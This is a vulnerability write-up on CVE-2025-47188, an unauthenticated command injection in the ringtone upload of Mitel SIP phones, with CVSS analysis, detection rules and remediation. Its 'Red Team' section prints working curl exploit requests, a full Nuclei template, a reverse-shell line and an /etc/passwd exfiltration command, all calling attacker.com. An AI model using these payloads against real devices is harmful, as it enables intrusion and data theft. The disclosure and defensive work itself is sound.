CVE-2025-47188

Executive Summary

CVE-2025-47188 is a critical unauthenticated command injection vulnerability affecting Mitel 6800 Series, 6900 Series, and 6900w Series SIP Phones (firmware up to 6.4 SP4) and the 6970 Conference Unit (firmware up to V1 R0.1.0). The flaw resides in the /cgi-bin/webconfig endpoint, specifically within the upload_ringtone functionality, where insufficient sanitization of the filename parameter allows an attacker to inject arbitrary OS commands. Successful exploitation enables unauthenticated remote code execution (RCE) as the phone's user context, leading to disclosure or modification of sensitive configuration data and potential denial of service.

The vulnerability is exposed on TCP port 49249 and has a public proof-of-concept (PoC) via a Nuclei template. No official patch has been released by Mitel as of this report. The EPSS score is 0.03464% (0.87574 percentile), indicating low active exploitation in the wild, but the severity and ease of exploitation warrant immediate attention.

Supply Chain & Package Security

This vulnerability does not involve NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in embedded telephony devices.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: High. Despite the medium CVSS score, the unauthenticated nature and public PoC elevate the risk. An attacker can execute arbitrary commands, potentially pivoting to internal networks or exfiltrating sensitive call data.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection (CWE-78) in the upload_ringtone CGI script. The phone's web interface allows administrators to upload custom ringtone files. The filename parameter is passed unsanitized to a shell command that processes the uploaded file. By crafting a filename containing shell metacharacters (e.g., backticks, $()), an attacker can break out of the intended command and execute arbitrary OS commands.

Attack Flow:

1. The attacker sends a POST request to /cgi-bin/webconfig?page=upload_ringtone&action=submit&section=0&conn=0.
2. The request includes a multipart form-data with a file named {{random_number}}.txt containing a valid WAV header (to pass basic validation) and a payload like curl -d $(id) {{interactsh-url}}.
3. A second request triggers the processing of the uploaded file by sending a filename containing command injection: fake$(sh ${HOME}userdata${HOME}ringtone${HOME}{{random_number}}.txt).wav.
4. The phone's CGI script executes the injected command, sending the output of id to an attacker-controlled interactsh server.

The vulnerability is exploitable without authentication, as the upload_ringtone endpoint does not enforce session validation.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Pseudocode for vulnerable CGI handler
char filename[256];
get_param("upload_ringtone/newfile", filename);
char cmd[512];
snprintf(cmd, sizeof(cmd), "cp /tmp/%s /var/ringtone/", filename);
system(cmd); // Command injection via filename

Patched Code (Expected):

// Pseudocode for patched handler
char filename[256];
get_param("upload_ringtone/newfile", filename);
// Sanitize: remove shell metacharacters
sanitize_filename(filename); // e.g., remove `$`, `(`, `)`, `` ` ``, `;`, `|`
char cmd[512];
snprintf(cmd, sizeof(cmd), "cp /tmp/%s /var/ringtone/", filename);
system(cmd);

The patch must implement strict input validation, whitelisting allowed characters (alphanumeric, dash, underscore, dot) and rejecting any shell metacharacters.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target Mitel phone on port 49249 (HTTP).
• Attacker machine with curl and an interactsh server (or public listener).

Exploitation Steps:

1. Upload malicious ringtone file:

curl -X POST "http://<target>:49249/cgi-bin/webconfig?page=upload_ringtone&action=submit&section=0&conn=0" \
  -H "Content-Type: multipart/form-data; boundary=----0ba2fc3a8c91370bd74c5f7ab65fda3f" \
  --data-binary @- <<EOF
------0ba2fc3a8c91370bd74c5f7ab65fda3f
Content-Disposition: form-data; name="upload_ringtone/newfile"; filename="exploit.txt"

524946462400000057415645666d7420100000000100010044ac000088580100020010006461746100000000
curl -d \$(id) http://attacker.com:8080/
------0ba2fc3a8c91370bd74c5f7ab65fda3f--
EOF

2. Trigger command injection via filename:

curl -X POST "http://<target>:49249/cgi-bin/webconfig?page=upload_ringtone&action=submit&section=1&conn=0" \
  -H "Content-Type: multipart/form-data; boundary=----0ba2fc3a8c91370bd74c5f7ab65fda3f" \
  --data-binary @- <<EOF
------0ba2fc3a8c91370bd74c5f7ab65fda3f
Content-Disposition: form-data; name="upload_ringtone/newfile"; filename="fake\$(sh \${HOME}userdata\${HOME}ringtone\${HOME}exploit.txt).wav"

This is an invalid WAV file
------0ba2fc3a8c91370bd74c5f7ab65fda3f--
EOF

3. Receive callback: The attacker's server receives a request with the output of id.

Alternative Payloads:

• Reverse shell: bash -i >& /dev/tcp/attacker.com/4444 0>&1
• Data exfiltration: curl -X POST -d @/etc/passwd http://attacker.com:8080/

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /cgi-bin/webconfig with page=upload_ringtone.
• Look for filenames containing shell metacharacters ($, (, ), `, ;, |, &).
• Alert on outbound connections from the phone to unknown IPs on port 80/443/8080.

Honeypot:

• Deploy a fake Mitel phone on port 49249 logging all POST requests.
• Analyze filenames for injection patterns.

Containment:

• Block outbound traffic from the phone subnet to the internet.
• Restrict access to port 49249 to authorized management IPs only.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_47188_Mitel_Command_Injection {
    meta:
        description = "Detects command injection attempts against Mitel phones via upload_ringtone"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-47188"
    strings:
        $cgi_path = "/cgi-bin/webconfig"
        $upload_param = "page=upload_ringtone"
        $shell_meta1 = "$(" ascii
        $shell_meta2 = "`" ascii
        $shell_meta3 = ";" ascii
        $shell_meta4 = "|" ascii
    condition:
        $cgi_path and $upload_param and 1 of ($shell_meta*)
}

Sigma Rule

title: Mitel Phone Command Injection via upload_ringtone
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests to Mitel phone webconfig with command injection patterns
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/cgi-bin/webconfig?page=upload_ringtone'
    injection:
        cs-uri-query|contains: 
            - '$('
            - '`'
            - ';'
            - '|'
    condition: selection and injection
falsepositives:
    - Legitimate filenames with unusual characters (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET 49249 (msg:"CVE-2025-47188 Mitel Phone Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/webconfig"; http_uri; content:"page=upload_ringtone"; http_uri; pcre:"/\$\(|`|;|\|/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Nuclei Template (Full)

id: CVE-2025-47188

info:
  name: Mitel 6000 - OS Command Injection
  severity: critical
  author: matejsmycka
  description: |
    A vulnerability in the Mitel 6800 Series, 6900 Series, and 6900w Series SIP Phones through 6.4 SP4 (R6.4.0.4006), and the 6970 Conference Unit through 6.4 SP4 (R6.4.0.4006) or version V1 R0.1.0, could allow an unauthenticated attacker to conduct a command injection attack due to insufficient parameter sanitization. This template should be run on port 49249/tcp.
  impact: |
    Unauthenticated attackers can execute arbitrary commands, potentially disclosing or modifying sensitive data and disrupting device operation.
  remediation: |
    Update to the latest Mitel firmware version beyond 6.4 SP4.
  reference:
    - https://labs.infoguard.ch/posts/cve-2025-47188_mitel_phone_unauthenticated_rce/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-47188
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2025-47188
    epss-score: 0.03464
    epss-percentile: 0.87574
    cpe: cpe:2.3:a:mitel:6000:*:*:*:*:*:*:*:*
  metadata:
    vendor: mitel
    max-request: 2
    fofa-query: icon_hash="-1940372141" || icon_hash="-447557905"
  tags: cve,cve2025,rce,network,mitel,oast,oob,vkev

variables:
  waf_file: "524946462400000057415645666d7420100000000100010044ac000088580100020010006461746100000000"
  random_number: "{{rand_base(8)}}"

http:
  - raw:
      - |
       POST /cgi-bin/webconfig?page=upload_ringtone&action=submit&section=0&conn=0 HTTP/1.1
       Host: {{Hostname}}
       Content-Type: multipart/form-data; boundary=----0ba2fc3a8c91370bd74c5f7ab65fda3f

       ------0ba2fc3a8c91370bd74c5f7ab65fda3f
       Content-Disposition: form-data; name="upload_ringtone/newfile"; filename="{{random_number}}.txt"

       {{hex_decode(waf_file)}}
       curl -d $(id) {{interactsh-url}}
       ------0ba2fc3a8c91370bd74c5f7ab65fda3f--

      - |
       POST /cgi-bin/webconfig?page=upload_ringtone&action=submit&section=1&conn=0 HTTP/1.1
       Host: {{Hostname}}
       Content-Type: multipart/form-data; boundary=----0ba2fc3a8c91370bd74c5f7ab65fda3f

       ------0ba2fc3a8c91370bd74c5f7ab65fda3f
       Content-Disposition: form-data; name="upload_ringtone/newfile"; filename="fake$(sh ${HOME}userdata${HOME}ringtone${HOME}{{random_number}}.txt).wav"


       This is an invalid WAV file
       ------0ba2fc3a8c91370bd74c5f7ab65fda3f--

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body_1
        words:
          - "ringtone.html"
# digest: 4a0a00473045022100fc84769d8e88942b542a3ffdeca68ab9f19034b7ac3ebf40c6f147459026e17302200c0c456e5df749c3ee668a8f67eb1fd69b5f0ee21bca1292184597d4be5abd5b:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place Mitel phones on a separate VLAN with strict firewall rules blocking outbound internet access.
2. Restrict access to port 49249: Allow only trusted management IPs to access the web interface.
3. Monitor for exploitation: Deploy the provided YARA/Sigma/Suricata rules to detect attacks.

Long-Term Fix:

• Vendor Patch: Await an official firmware update from Mitel that sanitizes the filename parameter. No patch is currently available.
• Workaround: Disable the upload_ringtone functionality if not required, by removing or restricting the CGI script.
• Upgrade: When available, upgrade to firmware version > 6.4 SP4 for 6800/6900 series and > V1 R0.1.0 for 6970.

Compensating Controls:

• Implement a Web Application Firewall (WAF) rule to block filenames containing shell metacharacters.
• Enable logging and alerting on all POST requests to /cgi-bin/webconfig.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

{/* [Security Hash: B49249224ADA0CA3C9F1A525] */}